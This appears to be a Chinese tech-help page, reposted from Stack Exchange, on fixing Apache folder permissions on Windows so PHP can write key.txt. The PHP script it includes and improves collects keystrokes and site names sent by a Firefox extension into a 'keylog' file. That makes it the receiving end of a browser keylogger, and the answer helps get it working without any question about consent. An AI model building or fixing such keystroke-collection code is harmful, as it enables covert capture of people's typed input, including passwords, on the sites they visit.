You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Windows下修改Apache所有权,解决PHP无法创建TXT文件权限问题

解决Windows系统中Apache权限问题(PHP无法创建TXT文件)

一、确认Apache运行账户

  • 按下Win+R,输入services.msc打开服务列表
  • 找到Apache服务(通常名为Apache2.x,x为版本号),右键选「属性」
  • 切换到「登录」标签页,查看「此账户」对应的用户名,常见为NT AUTHORITY\NetworkService或LocalSystem

二、修改目标目录的权限

假设你的PHP脚本和要创建的key.txt在C:\Apache\htdocs\keylog目录下:

  1. 右键该目录,选择「属性」→「安全」标签页
  2. 点击「编辑」→「添加」,输入查到的Apache运行账户名,点击「检查名称」确认后添加
  3. 选中刚添加的账户,在权限列表中勾选:
    • 读取和写入
    • 修改
    • 列出文件夹内容
  4. 依次点击「应用」「确定」保存设置

三、可选:指定文件到有权限的目录

如果不想修改目录权限,可将key.txt放到Apache默认有写入权限的目录(比如C:\Apache\logs),修改PHP代码中的路径:

$file_log = fopen("C:/Apache/logs/key.txt","a+");

四、验证设置

重启Apache服务,测试Firefox扩展,确认是否能成功创建并写入key.txt


附:你的PHP代码优化建议

当前代码未处理fopen失败的情况,建议增加错误判断:

session_start();
if (!isset($_POST['key'])) {
    echo "Didn't received any new KEY strokes Yet!";
    exit(0);
}

// 增加文件打开失败的判断
$file_log = fopen("key.txt","a+");
if (!$file_log) {
    echo "Failed to open log file!";
    exit(0);
}

if (!isset($_SESSION['site']) || $_SESSION['site'] != $_POST['site']) {
    $_SESSION['site'] = $_POST['site'];
    fwrite($file_log, "| site : ".$_POST['site']." | ");
}

fwrite($file_log,$_POST['key']);
fclose($file_log);
echo "text saved successfully";

内容的提问来源于stack exchange,提问作者Roger31

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.13 01:01:20